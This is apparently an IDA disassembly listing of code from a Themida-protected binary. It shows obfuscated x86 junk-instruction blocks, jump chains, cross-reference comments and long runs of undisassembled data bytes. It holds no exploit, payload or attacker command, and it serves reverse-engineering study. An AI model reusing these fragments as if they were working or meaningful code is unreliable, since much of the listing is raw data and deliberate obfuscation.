loc_54AE8C:				; CODE XREF: Themida_:00545A0Bj
		pop	esp


loc_54AE8D:				; CODE XREF: Themida_:0054DC98j
		push	ebx
		push	ecx
		mov	ecx, 17910F80h
		jmp	loc_5451F4
; ---------------------------------------------------------------------------
		db 4, 0BAh, 0E9h
		dd 0FFFFFBCCh
; ---------------------------------------------------------------------------


loc_54AEA0:				; CODE XREF: Themida_:00548ADBj
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_545EA2
; ---------------------------------------------------------------------------


loc_54AEAD:				; CODE XREF: Themida_:0054B23Cj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	eax, edx
		pop	edx
		push	305Fh
		mov	[esp], edi
		jmp	loc_54C4D1
; ---------------------------------------------------------------------------
		dd 2C781h, 0A0E90000h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AEDB:				; CODE XREF: Themida_:0054DE7Fj
		mov	[esp], ecx
		jmp	loc_54B29C
; ---------------------------------------------------------------------------
		db 89h
		dd 20BA2414h, 81000000h, 580465EAh, 81FA0145h, 580465C2h
		dd 11328145h, 5A013006h, 81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 68241C89h, 0
		dd 5B2434FFh, 0FF8E95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AF21:				; CODE XREF: Themida_:0054EE4Dj
		add	edi, 6F5101BFh
		jmp	loc_548C8E
; ---------------------------------------------------------------------------
		dd 0D800E32Ch, 0F622B353h, 80CBFED3h, 0CB8039C3h, 80DBF6CFh
		dd 53E9C2F3h, 5000029h,	448369B7h, 98083705h, 0E9F0297Fh
		dd 0FFFFB72Eh, 28742CACh, 0EC8351D8h, 24148904h, 0FF93B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AF69:				; CODE XREF: Themida_:0054509Fj
		xor	esi, 3D02005Dh
		sub	esi, 0F2873D74h
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, 74662F62h
		add	ebp, 31090B1Eh
		add	ebp, eax
		jmp	loc_54896B
; ---------------------------------------------------------------------------
		dw 56B9h
		dd 31ACC1C4h, 1E7E9CDh,	0D7F60000h, 9E9EFD0h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AFAB:				; CODE XREF: Themida_:0054E990j
		xchg	edx, edi
		push	7CA9h
		jmp	loc_54D9C7
; ---------------------------------------------------------------------------
		db 51h
		dd 36B0F1B5h, 0C8BE830h, 44B6E924h, 0BA520000h,	3E4F34A1h
		dd 0DBF6E942h, 5251FFFFh, 661CB951h, 0C1815047h, 7D947261h
		dd 0D6D5E981h, 0C181933Dh, 7DB0EDCh, 0C159CA89h, 0B95104E2h
		dd 6C4C2DA7h, 8102E9C1h, 167001E1h, 34CEE92Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B006:				; CODE XREF: Themida_:00548327j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5493E4
; ---------------------------------------------------------------------------
		db 68h
		dd 3E27h, 56241489h, 5964BEBEh,	64BF5737h, 0F726F46Ch
		dd 97EF81D7h, 4F403A02h, 63C2CF81h, 0EF813C39h,	0DA03A9Fh
		dd 2267F781h, 0FE0167FFh, 81243C8Bh, 4C4h, 0BF575600h
		dd 69296AB1h, 4247C29h,	0FFB68AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B059:				; CODE XREF: Themida_:005498B0j
		mov	ebp, edi
		pop	edi
		jmp	loc_54A8D4
; ---------------------------------------------------------------------------


loc_54B061:				; CODE XREF: Themida_:0054B2A6j
		pop	ebx
		jmp	loc_543A7E
; ---------------------------------------------------------------------------
		db 1
		dd 0E90288DAh, 3114h, 9D6E10BBh, 5BD88903h, 815BD831h
		dd 0C627DCC7h, 81C70155h, 0C627DCEFh, 0D5D8E955h, 0B951FFFFh
		dd 4, 0FAE9CB01h, 2CFFFFA5h, 34FF5AD1h,	0C4835B24h, 0FC33004h
		dd 8F66C0B6h, 6DE98704h, 5AFFFF89h, 0DE0087B6h,	76C6805Bh
		dd 8904EC83h, 0A4E92404h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B0C7:				; CODE XREF: Themida_:00548728j
		push	esi
		mov	esi, 28B17C12h
		add	eax, esi
		jmp	loc_5461CA
; ---------------------------------------------------------------------------
aRsRiSt?	db 'RS³rˆÚ[ét?',0
		align 10h
		dd 0AC2814Ah, 57283176h, 5CFAB951h, 5CBF151Ah, 3114A85Ah
		dd 240C8BCFh, 4C481h, 8CE90000h, 0BE00003Ah, 7F576038h
		dd 4357E9h, 0C2815B00h,	42790A6Bh, 0FF1C5721h, 575A2434h
		dd 0C7815F54h, 4, 4C781h, 3C870000h, 24248B24h,	0FF88EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B135:				; CODE XREF: Themida_:0054A262j
		mov	ebp, 1AF52C19h
		jmp	loc_5494CE
; ---------------------------------------------------------------------------
		db 66h
		dd 5EB25251h, 1615E9h, 0EE685700h, 0E9735027h, 0FFFFF47Eh
; ---------------------------------------------------------------------------


loc_54B154:				; CODE XREF: Themida_:0054F227j
		add	esp, 4
		push	esi
		mov	esi, esp
		push	378Dh
		mov	[esp], edi
		mov	edi, 34AD5355h
		dec	edi
		jmp	loc_5481BB
; ---------------------------------------------------------------------------


loc_54B170:				; CODE XREF: Themida_:0054BDB4j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5447AF
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 210D5463h
		jmp	loc_546426
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 2904C483h, 2434FFE8h, 4C4835Dh, 0FFAE02E9h, 4EF81FFh
		dd 87000000h, 0D3E9243Ch, 50FFFF89h, 0FF9E45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B1B1:				; CODE XREF: Themida_:00547437j
		and	ebx, 6851AC0h
		add	ebx, 0FDFAE804h
		sub	edx, 505E3ED0h
		add	edx, ebx
		add	edx, 505E3ED0h
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	21FFh
		mov	[esp], edx
		push	40F5h
		jmp	loc_54F267
; ---------------------------------------------------------------------------
		dd 4C481h, 0C15E0000h, 0BF5707E1h, 25322A07h, 0BA52h, 0FA290000h
		dd 815AD789h, 7E588EEFh, 5FF93185h, 6859C831h, 72C3h, 0BE243489h
		dd 5BF2253Ah, 0A6CBE955h, 0EE81FFFFh, 8C1008h, 8D3CE81h
		dd 0E9576973h, 0FFFFC09Ch
; ---------------------------------------------------------------------------


loc_54B234:				; CODE XREF: Themida_:00545413j
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54AEAD
; ---------------------------------------------------------------------------


loc_54B241:				; CODE XREF: Themida_:0054B4D8j
		mov	[esp], ebx
		mov	ebx, 3DF30CDBh
		add	ebx, 20CD95C7h
		mov	edx, ebx
		jmp	loc_5479BB
; ---------------------------------------------------------------------------
		dw 335Ah
		dd 0C31240Ch, 240C3324h, 0FF24248Bh, 48B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_546EB7
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 0FFEADDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B291:				; CODE XREF: Themida_:0054ADB9j
		xchg	edx, edi
		not	edx
		xor	edi, edx
		jmp	loc_54F516
; ---------------------------------------------------------------------------


loc_54B29C:				; CODE XREF: Themida_:0054AEDEj
		mov	ecx, 0
		add	ecx, ebx
		xor	[ecx], ebp
		pop	ecx
		jmp	loc_54B061
; ---------------------------------------------------------------------------
		db 80h
		dd 8E901C2h, 0AD000047h, 46C0BB53h, 0D8293B87h
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_547501
; ---------------------------------------------------------------------------
aFrs6		db 'fRé',0Dh,'6',0
		dd 241C8B00h, 4C481h, 0C3810000h, 9E78C885h, 0C4E9D989h
		dd 8BFFFFDBh, 0E4E9240Ch, 8900000Eh, 0AAB7241Ch, 78E95066h
		dd 50FFFFF6h, 0D76990B8h, 0E0F2527h, 0E8C120C7h, 0A4CCE905h
		dd 248BFFFFh, 240CFF24h, 8702E99Ch, 5352FFFFh, 89B29DB7h
		dd 81E9FA28h, 52FFFFE0h, 0FFA06AE9h, 81F229FFh,	0B7209FC2h
		dd 0E1E95E74h, 0C1FFFF86h, 0B1E907EBh, 8700003Dh, 7CE9242Ch
		dd 87000029h, 248B240Ch, 2434FF24h, 5224048Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 9FE95C24h, 0C100000Ah,	6DE908E3h
		dd 89FFFFA8h, 14E9241Ch
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B383:				; CODE XREF: Themida_:0054EEE2j
		sub	esi, 0E8814493h
		xor	edx, esi
		pop	esi
		or	esi, edx
		pop	edx
		xor	esi, 9A7E5B68h
		jmp	loc_547B23
; ---------------------------------------------------------------------------


loc_54B39A:				; CODE XREF: Themida_:0054E287j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xor	ebx, 0A56D6C28h
		jmp	loc_5495C9
; ---------------------------------------------------------------------------


loc_54B3AB:				; CODE XREF: Themida_:00549B19j
		mov	esp, [esp]
		push	edx
		mov	edx, 4
		jmp	loc_547363
; ---------------------------------------------------------------------------
		db 2Dh,	0C5h, 0Ah
		dd 0CB2D2097h, 2910AA6Eh, 6ECB05E8h, 8FE910AAh,	66FFFFC1h
		dd 6824048Bh, 1375h, 68240489h,	2BAFh, 0FFA79EE9h, 5FFA01FFh
		dd 5204C283h, 0FFC5AFE9h, 4EC81FFh, 89000000h, 74FF243Ch
		dd 0E95F0424h, 0FFFF9B29h, 1FDDB951h, 0FF5164EAh, 0E959240Ch
		dd 0FFFFABC4h, 4EC81h, 0AFE90000h, 8300000Dh, 48904ECh
		dd 66B7B824h, 28BF4961h, 313DD646h, 0FA2958C7h,	83243C8Bh
		dd 0F2E904C4h, 68FFFFFEh, 455D727Dh, 73AE2D5Dh,	6AE93574h
		dd 1FFFFFFh, 0D342E9D3h, 0C7B3FFFFh, 80EFCB80h,	0D8003EC3h
		dd 2434FF5Bh, 5954515Ah, 4C181h, 0C1830000h, 240C8704h
		dd 2B26E95Ch, 0D2F60000h, 0FFCA51E9h, 0E95F58FFh, 2E9Ah
		dd 724BBB53h, 0DE2140DBh
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54FB58
; ---------------------------------------------------------------------------


loc_54B4A7:				; CODE XREF: Themida_:0054787Dj
		mov	ebp, 1
		push	edi
		jmp	loc_544593
; ---------------------------------------------------------------------------


loc_54B4B2:				; CODE XREF: Themida_:00549DBFj
		not	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, 2C752CA3h
		dec	ecx
		xor	ecx, 7B5D4072h
		add	ecx, 388B40B0h
		xor	ecx, 0DDF2B50Ch
		or	edi, ecx
		pop	ecx
		push	edx
		push	1F79h
		jmp	loc_54B241
; ---------------------------------------------------------------------------


loc_54B4DD:				; CODE XREF: Themida_:005455F1j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3C46092Fh
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edi, 5A4BA5A0h
		and	eax, edi
		jmp	loc_54DC8F
; ---------------------------------------------------------------------------


loc_54B501:				; CODE XREF: Themida_:005472C2j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 479D1374h
		jmp	loc_5499E0
; ---------------------------------------------------------------------------
		dd 1762C281h, 0D001042Bh, 6435055Ah, 665E137Eh,	6600B60Fh
		dd 66202368h, 0E9240489h, 0FFFF84E4h, 0FD88D2B7h, 0BDFBE95Bh
		dd 0EE01FFFFh, 146EBF57h, 0DFF73E0Ah, 3B59F781h, 0BCE9001Eh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B55B:				; CODE XREF: Themida_:00545AEBj
		mov	edi, [esp]
		add	esp, 4
		neg	esi
		jmp	loc_54D1A9
; ---------------------------------------------------------------------------


loc_54B568:				; CODE XREF: Themida_:00548941j
		sub	edi, 42F83226h
		add	edi, ebx
		add	edi, 42F83226h
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	eax
		jmp	loc_54F63D
; ---------------------------------------------------------------------------


loc_54B585:				; CODE XREF: Themida_:00547725j
		add	ebp, 4
		jmp	loc_54B610
; ---------------------------------------------------------------------------
		dd 7F371705h, 505B5949h, 405E089h, 2D000000h, 4, 5C240487h
		dd 0FFA3C2E9h, 0E38953FFh, 563CB850h, 0C805006Ch, 1FF93A9h
		dd 60E958C3h, 33000024h, 3C31243Ch, 243C3324h, 0FF9AD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B5D1:				; CODE XREF: Themida_:0054D94Ej
		xor	dword ptr [esp], 4CC365C8h
		pop	ecx
		xor	ecx, 4CC365C8h
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	ebp
		mov	ebp, 77E747F1h
		jmp	loc_54DE53
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 4BAh, 0E9D60100h, 0FFFFC594h, 0E956F701h, 1A3Ch
; ---------------------------------------------------------------------------


loc_54B610:				; CODE XREF: Themida_:0054B58Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		pop	ebx
		jmp	loc_548FE4
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 2
		dd 0C281DAF7h, 0ACA01F0Eh, 4B76BB53h, 0F3815254h, 1C953F94h
		dd 593FEB81h, 0DA09E8AFh, 9BB9515Bh, 81719C5Ch,	5F7228C9h
		dd 22D9E93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B65A:				; CODE XREF: Themida_:0054E190j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_546EFA
; ---------------------------------------------------------------------------
		db 1
		dd 0A8E95EF2h, 83000038h, 48904ECh, 806BB424h, 0E95253F4h
		dd 0FFFFA20Bh, 4BE56h, 0F0290000h, 1362E9h, 5FFA0100h
		dd 0C65BC281h, 0C181DFBCh, 2A284AD7h, 16E9D101h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B69F:				; CODE XREF: Themida_:0054A408j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54C3E8
; ---------------------------------------------------------------------------


loc_54B6AA:				; CODE XREF: Themida_:005498A5j
		add	bl, 21h
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 0D5h
		shr	cl, 8
		or	cl, 0EAh
		jmp	loc_54724D
; ---------------------------------------------------------------------------
		dd 4CD2B951h, 0E1C146E6h, 0D9F74905h, 7D94F181h, 0F1817D8Ah
		dd 192D45F1h, 8959C831h, 0E98358C1h, 4E9C101h, 0E9D1D1F7h
		dd 0FFC91DE9h, 3FEB81FFh, 583A6C38h, 0FFEE15E9h, 5FFE89FFh
		dd 1DE9F101h, 8000000Dh, 0EF0081F5h, 5E7C059h, 8074F780h
		dd 0F80033C7h, 0FFCC0FE9h, 4C581FFh, 55000000h,	42474FFh
		dd 24048F5Dh, 8BE9525Ch, 81FFFFDAh, 6A0B9FEEh, 5EF02908h
		dd 0FFABB6E9h, 48B66FFh, 4AC06824h, 1C890000h, 4D506824h
		dd 41E90000h, 83000023h, 348904ECh, 407DE924h, 93050000h
		dd 0E9316C67h, 15B8h
; ---------------------------------------------------------------------------


loc_54B76C:				; CODE XREF: Themida_:00544409j
		xor	esi, 30DF3BB5h
		jmp	loc_5451C0
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFFC68E9h, 240C8BFFh, 4C481h, 92E90000h, 89FFFF8Eh
		dd 0E789243Ch, 6BC5BA52h, 0E2C167EEh, 20F28103h, 813FE55Dh
		dd 0C16302C2h, 24A1E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B7AA:				; CODE XREF: Themida_:0054EA1Fj
		mov	esi, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_54FAE2
; ---------------------------------------------------------------------------
		dd 15E9E929h, 81FFFFF6h, 542C97E2h, 1C28169h, 50000000h
		dd 405E089h, 0E9000000h, 0FFFFA766h, 0E92434FFh, 0FFFFD9B6h
		dd 0EC81C300h, 4, 5DBE9h, 58336800h, 4890000h, 3021B424h
		dd 0FE3058E7h, 5B2434FFh, 0FF8972E9h, 8DC380FFh, 0F2DC380h
		dd 34FFC0B6h, 8DBA5287h, 8124E114h, 0BD5E11EAh,	0A8EA8103h
		dd 0C1663414h, 0D2F704E2h, 1DEEC281h, 5429ECC8h, 0ABE90424h
		dd 6600003Fh, 5724048Bh, 435A68h, 24248900h, 9CE95553h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B84F:				; CODE XREF: Themida_:0054A9E2j
		xchg	ebx, ecx
		and	ecx, 648161FFh
		shr	ecx, 1
		xor	ecx, 0ED150040h
		add	ebp, ecx
		pop	ecx
		jmp	loc_546E52
; ---------------------------------------------------------------------------


loc_54B867:				; CODE XREF: Themida_:0054D31Ej
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54EF78
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 59CC8859h, 8058E788h, 0E7C060C7h, 0B5515004h, 2ED8084h
		dd 0AA0E9h, 0E9CB2900h,	0FFFFBF4Dh
; ---------------------------------------------------------------------------


loc_54B894:				; CODE XREF: Themida_:0054F645j
		xor	ah, 69h
		push	edx
		mov	dh, 1Ah
		sub	dh, 0EFh
		jmp	loc_54BB4B
; ---------------------------------------------------------------------------
		dw 0D931h
		dd 59C8295Bh, 5C240487h, 54240C89h, 4C18159h, 83000000h
		dd 0C8702C1h, 2AA0E924h, 59E90000h, 28FFFF81h, 9516E9D3h
		dd 0D4F6FFFFh, 0FE04E4C0h, 0EEEC80CCh, 6658E628h, 0E9E0B450h
		dd 2DC2h
; ---------------------------------------------------------------------------


loc_54B8E4:				; CODE XREF: Themida_:0054501Cj
		push	397Bh
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_54418A
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 2
		dd 2454F653h, 0C7805B01h, 0E9FA08C9h, 3640h, 8704C283h
		dd 95C2414h, 0E95A1C57h, 0FFFF8100h, 0C281E289h, 4, 4C281h
		dd 14330000h, 24143124h, 0E9241433h, 0FFFFA28Bh, 0E95EF189h
		dd 0FFFF845Eh, 0E924248Bh, 853h, 85EBE952h, 0E95CFFFFh
		dd 0FFFF860Ch
; ---------------------------------------------------------------------------


loc_54B958:				; CODE XREF: Themida_:00549E2Dj
		push	0
		sub	[esp], ebp
		jmp	loc_54A4AB
; ---------------------------------------------------------------------------
		db 88h,	0F3h, 88h
		dd 1E21E9D8h, 0C7810000h, 7FDE7350h, 4247C01h, 81243C8Bh
		dd 4C4h, 809AE900h, 0B951FFFFh,	4, 0E959C801h, 0FFFFED30h
; ---------------------------------------------------------------------------


loc_54B994:				; CODE XREF: Themida_:005498E4j
		push	2274h
		mov	[esp], ebp
		jmp	loc_5480C2
; ---------------------------------------------------------------------------


loc_54B9A1:				; CODE XREF: Themida_:00546FFAj
		sub	edi, 4E48171Bh
		add	ebp, edi
		jmp	loc_54DE40
; ---------------------------------------------------------------------------
		dw 814Eh
		dd 0CC215AF6h, 3E6C125h, 3333EE81h, 0BEE91CE0h,	29FFFF99h
		dd 575559CFh, 3481555Dh, 0A46F1424h, 0EE95E26h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B9D7:				; CODE XREF: Themida_:0054CDBEj
		mov	[esp], ebx
		jmp	loc_548FA8
; ---------------------------------------------------------------------------
		db 1
		dd 0B7EAE9CBh, 4868FFFFh, 8900001Bh, 5152240Ch,	0F18013B1h
		dd 0CDC1800Ch, 8867C180h, 885359CAh, 5BD988D3h,	0C737E95Ah
		dd 0B252FFFFh, 68E0h, 14280000h, 24148A24h, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 5BB35350h, 0E9CAEB80h, 0FFFFA9A7h
		dd 49A768h, 240C8900h, 483DBA52h, 24E97B10h, 0ADFFFFD7h
		dd 2584E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BA4D:				; CODE XREF: Themida_:00548C9Aj
		sub	edi, ebp
		push	ebp
		mov	ebp, 44CA73ABh
		sub	edi, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		sub	esp, 4
		jmp	loc_54A8DD
; ---------------------------------------------------------------------------


loc_54BA8C:				; CODE XREF: Themida_:0054D966j
		mov	esp, [esp]
		jmp	loc_54868B
; ---------------------------------------------------------------------------
		dd 5C240487h, 8904EC83h, 0C6E9241Ch, 66000022h,	6612E6B9h
		dd 6604E1C1h, 0E904E9C1h, 0FFFFEBFCh, 295FFB01h, 4EC81C3h
		dd 89000000h, 3768240Ch, 8900006Bh, 0E953242Ch,	0E08h
		dd 4BC28142h, 0E97CC51Dh, 0FFFFDC4Ah
; ---------------------------------------------------------------------------


loc_54BADC:				; CODE XREF: Themida_:0054C01Ej
		push	edx
		mov	edx, 2AE052A7h
		jmp	loc_54DC89
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF572404h, 5AF74507h, 0FC0011B8h, 5FF83103h, 12D4040h
		dd 48000000h, 0FF840CE9h, 5EF029FFh, 0AC7C4135h, 6CF6684Ch
		dd 5DE90000h, 0B800002Dh, 6BB83BBFh, 5D8F748h, 8C759B97h
		dd 8158C789h, 0E24D7FEFh, 0F0C7815Eh, 0F7545057h, 81DFF7D7h
		dd 0D495B9C7h, 0FBBBE9E9h, 8B66FFFFh, 3E9240Ch
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BB4B:				; CODE XREF: Themida_:0054B89Dj
		sub	dh, 0C4h
		or	ah, dh
		pop	edx
		jmp	loc_546249
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 81ED8102h, 450DAD7Fh, 0BE1CBF57h, 26E9920Eh,	0B8000032h
		dd 30965796h, 3179E9h, 9CA8000h, 301DF280h, 24148BD0h
		dd 81E38953h, 4C3h, 33D0E900h, 54510000h, 4C18159h, 81000000h
		dd 4C1h, 240C8700h, 86B8E95Ch, 1C8BFFFFh, 4C48324h, 5D86BB53h
		dd 0E94B4D38h, 112Ah, 33E9DF01h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BBBF:				; CODE XREF: Themida_:0054F2F7j
		mov	ebx, 28B17C12h
		jmp	loc_548722
; ---------------------------------------------------------------------------
		db 0B2h, 23h, 28h
		dd 24148BD3h, 4C481h, 0B60F0000h, 8734FFC0h, 8904EC83h
		dd 27E92404h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BBE7:				; CODE XREF: Themida_:005455FEj
		mov	edx, [esp]
		jmp	loc_54A3AE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFFEAA8h
; ---------------------------------------------------------------------------


loc_54BBF8:				; CODE XREF: Themida_:0054E30Dj
		sub	ecx, 16C63DE6h
		sub	ecx, ebx
		push	ebx
		mov	ebx, 16C63DE6h
		add	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54DFAE
; ---------------------------------------------------------------------------


loc_54BC12:				; CODE XREF: Themida_:0054F96Ej
		shl	ecx, 3
		jmp	loc_547A29
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 79AF4CC6h, 0F702EDC1h, 3E5C1DDh, 8107E5C1h, 0AAE09EC5h
		dd 5DE829F1h, 87E9F001h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BC3B:				; CODE XREF: Themida_:00543FDCj
		push	2AC5h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_544090
; ---------------------------------------------------------------------------
		dd 62E1CD81h, 0C581643Dh, 6E55CB4h, 0EC81E5D1h,	4, 0BE243489h
		dd 36E43CB3h, 64E9F509h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BC6F:				; CODE XREF: Themida_:0054A760j
		xor	ecx, 5BAC310Fh
		jmp	loc_54452C
; ---------------------------------------------------------------------------
		dw 5966h
		dd 1D78E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BC81:				; CODE XREF: Themida_:00543BAEj
		shl	edx, 8
		jmp	loc_54F36B
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 0D3h
		dd 0E99C243Ch, 0FFFF7D8Ch, 0DCEF814Fh, 21A19068h, 0F5815FFDh
		dd 0D7F7A5C0h, 2C8BEB89h, 0E058E924h, 0E981FFFFh, 76A036DEh
		dd 240C8758h, 11D5E9h, 4EC8300h, 81243C89h, 4ECh, 24348900h
		dd 8904EC83h, 0A8BD242Ch, 0E95D6A15h, 0FFFFABEFh, 0E904C483h
		dd 0FFFFD626h
; ---------------------------------------------------------------------------


loc_54BCE4:				; CODE XREF: Themida_:00544618j
		or	edx, eax
		shl	edx, 1
		push	6681h
		mov	[esp], ebx
		push	eax
		push	edx
		push	0FFFFFFFFh
		jmp	loc_549518
; ---------------------------------------------------------------------------
		dd 0C3815B54h, 4, 74F968h, 24148900h, 4BAh, 29B1E900h
		dd 0DB680000h, 89000028h, 8B542434h, 0C4832434h, 4FFD6804h
		dd 3C890000h, 0BF575124h, 1C63136h, 0E95FF989h,	0FFFF94F8h
		dd 4EC81h, 3D680000h, 89000044h, 4812424h, 424h, 24048F00h
		dd 4240481h, 5A000000h,	4C281h,	0EE680000h, 8900002Bh
		dd 0BDE9243Ch, 81FFFFE2h, 9E6DB6C3h, 0E232E944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD7A:				; CODE XREF: Themida_:005460CDj
		xor	esi, 7FB66DD2h
		add	ebx, esi
		pop	esi
		jmp	loc_54A7A2
; ---------------------------------------------------------------------------
		dd 5C243487h, 0E9243489h, 0FFFF986Fh, 0C104C483h, 39E907E3h
		dd 68FFFF9Eh, 0C8CB2571h, 0FFA063E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BDA9:				; CODE XREF: Themida_:0054D502j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54B170
; ---------------------------------------------------------------------------


loc_54BDB9:				; CODE XREF: Themida_:00549A7Cj
		xor	esi, 899ECFAAh
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54F472
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFD4DEh
; ---------------------------------------------------------------------------


loc_54BDD4:				; CODE XREF: Themida_:00544CE1j
		push	eax
		mov	eax, 0F6FDF97Fh
		add	edx, eax
		pop	eax
		sub	[edi+24h], edx
		jmp	loc_54EB61
; ---------------------------------------------------------------------------
		db 1, 0C8h, 59h
		dd 0B468D829h, 8900001Dh, 48E9242Ch
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_54C483
; ---------------------------------------------------------------------------
		db 31h
		dd 3FBE9C8h, 6C680000h,	8900004Dh, 5B682414h, 0E900000Fh
		dd 0FFFFE157h, 68E1D149h, 7CF4h, 0BB241C89h, 10C6140Ah
		dd 7BE9D901h, 5CFFFFE9h, 582434FFh, 5E08950h, 4, 0E904E883h
		dd 0FFFFBE6Eh
; ---------------------------------------------------------------------------


loc_54BE50:				; CODE XREF: Themida_:00549DB9j
		pop	edi
		jmp	loc_54DAA5
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BF88904h, 0C483243Ch, 7BBAE904h, 814BFFFFh,	0D64955CBh
		dd 7CBCE91Eh, 77FFFFFFh, 2434FF3Ch, 582434FFh, 5704C483h
		dd 0EC81E789h, 4, 0FFA0F7E9h, 88C780FFh, 2C8AB050h, 0E9C0FE01h
		dd 0FFFFE830h, 56240489h, 0E63672BEh, 4EDEF732h, 772CC681h
		dd 0F0898B29h, 8124348Bh, 4C4h,	8BC22900h, 0C4812404h
		dd 4, 6473EA81h, 21E93CE3h, 68FFFFBEh, 3E4h, 0FF805AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BED9:				; CODE XREF: Themida_:0054ED24j
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_543A62
; ---------------------------------------------------------------------------


loc_54BEEC:				; CODE XREF: Themida_:0054F216j
		movzx	eax, ax
		push	small 47D4h
		mov	[esp], ax
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 4EA81h, 49E90000h, 0B1FFFFADh, 0E9C80811h
		dd 0FFFFFD62h
; ---------------------------------------------------------------------------


